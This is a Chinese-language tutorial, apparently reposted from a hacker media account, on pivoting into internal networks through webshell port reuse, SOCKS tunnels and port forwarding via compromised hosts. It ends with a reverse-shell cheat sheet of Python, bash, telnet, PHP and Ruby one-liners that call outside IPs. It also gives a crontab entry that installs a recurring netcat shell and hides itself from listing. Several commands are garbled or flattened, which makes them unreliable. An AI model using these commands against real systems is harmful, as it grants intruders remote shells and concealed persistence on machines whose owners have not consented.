目录
0x00前言
在我们进行内网渗透中,经常会遇到一些蛋疼的环境问题,比如拿下的目标机和自身的机器均处于内网之中,这时候想要对目标机内网进行渗透就会遇到一系列的问题.比如我如何用扫描器扫对方的内网?我没公网IP如何远程登录对方内网主机?我在这里做一个小小的整理,介绍一些内网环境和对应工具的使用,希望能帮助大家进行内网渗透的时候,突破一些环境的限制.
0x01端口复用
对于双内网环境,端口复用无疑是个很好的选择
我们经常遇到这种情况,即双方均在内网的情况下,拿下了对方内网服务器的一个webshell,想进一步利用却被环境限制,老式的做法就是利用lcx等工具将目标服务器的3389之类的端口反弹到公网,再连接,但如果没有公网环境呢?这时候端口复用就很好用了.
reDuh和Tunna都是在这种环境下很好用的工具,用法也大致相同,这里例举tunna来进行演示.
这是tunna的文件目录,我们需要传对应的conn.xxx文件到目标服务器
本地执行proxy,配置好webshell地址,本地监听端口,远程监听端口就行了
本地连接1234端口
可以看到,成功连接。
reDuh则更加友好,做了可视化界面,如何连接一目了然,就不做演示了。
二者存在相同的问题就是连接的稳定性不太好,但经过我多次的测试,tunna相比reDuh来说,稳定性和连接效果还是要好很多的,推荐使用tunna。
0x02 Sock代理
Sock代理是一种基于传输层的网络代理协议,不同于VPN,Sock代理只能对使用该代理协议的程序生效,因此,可以说它是一种局部代理,而不是像VPN一样的全局代理,速度也弱于VPN。但在我们渗透测试中,需要尽量对目标机制造出尽可能小的影响,因此,sock代理也经常会被用到。
Sock协议如今已发展到V5,它适用于服务器端能够寻址到客户端的环境,如下图
攻击端和内网主机处于同一网络环境下,或者攻击端具有公网IP,因为在服务器端运行sock脚本时会需要寻址到客户端。下面拓扑情况为攻击端无法直接访问内网主机:
我们在这里仅作简单的连接测试,攻击端为客户端,内网主机1为服务端
我们在内网主机1上执行 ./rcsocks –l 10086 –p 10010 -vv
可以看到,正在监听
服务端执行 ./rssocks –vv –s 192.168.50.106:10010
此时,服务器端响应
我们的代理连接成功建立。
但如果仅仅是这样,就显得有些鸡肋了,因为我们需要使用浏览器等工具进行内网渗透,而这些工具本身又没有带sock代理功能,因此,就需要使用到另一款工具:proxychains
在kali的/etc/proxychains.conf添加配置
Sock5127.0.0.然后在运行程序前加上proxychains,比如:
Proxychains firefox这样就可以直接使用firefox访问内网主机2的web服务了。
还有很多类似的软件,比如Proxifier、CCproxy、ProxyCap等,如果和Teamviewer搭配起来,效果更佳,轻松实现多级内网穿透,因为环境搭起来比较复杂,就不演示了。
0x03 端口转发
端口转发这个我们在内网渗透中也是经常遇到,可以使用现成的一些工具或者通过脚本命令进行转发
常用的转发工具:
Netcat、Lcx、Htran、Fpipe
Netcat是大家都很熟悉的一款软件了,功能十分强大,安全人员必备工具之一。
这里只说端口转发命令,主要是-e参数,我们将一台win主机shell反弹到一台linux主机上,win上执行。
在linux主机上监听此端口
可以看到,连接成功建立。
Lcx和Htran就不多提了,一个copy另一个的,而且想必大家都用的很多
本地地执:htran.exe -Listen肉鸡执行:htran.exe -Slave入侵者的IP .0.0.13389即将肉鸡的3389端口转发到本地的8888端口
Fpipe这个主要就是用于端口重定向
举个例子
A为攻击端,B、C是位于内网的靶机
B可以访问外网且可以访问C,但C与外网不通
我们有了B服务器的一个shell,现在想尝试3389连接到C主机上,即将内网主机C的3389端口转发出来。
我们在B机器上执行”fpipe.exe -l 1000 -s 1000 -r 3389 C主机IP”,意思是将发送到本机1000端口的连接通过1000端口被重定向到了C主机的3389端口上,然后再连接B的1000端口即可连接到C的3389上
常用的转发脚本
Pythonpython -c importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);Linuxexec 2>&0 0<&196;exec 196<>/dev/tcp/attackerIP/端口Telnet(这种缺陷是会建立test文件,好处是不怎么依赖环境)mknod test p && telnet 115.28.85.23 65512 0<test | /bin/bash 1>testCrontab(crontab -l;printf "*/5 * * * * /bin/nc 192.168.196.129 22222 -e /bin/sh;\rno crontab for `whoami`%100c\n")|crontab –Phpphp -r $sock=fsockopen("10.10.14.101",65512);exec("/bin/sh -i <&3 >&3 2>&3");Rubyruby -rsocket -ef=TCPSocket.open("10.10.14.101",65512).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)Bashbash -i >& /dev/tcp/x.x.x.x/2333 0
来源:
你会喜欢从无线安全到内网渗透【内网渗透】域渗透技巧【内网渗透websploit】一个内网深透的尝试暗月渗透教程第一季曲折的内网入侵(蛋疼)
亲喜欢吗?记得点赞|留言|分享长按,可“置顶”
----------------------------------
要闻、干货、原创、专业关注“黑白之道” :i77169华夏黑客同盟我们坚持,自由,免费,共享!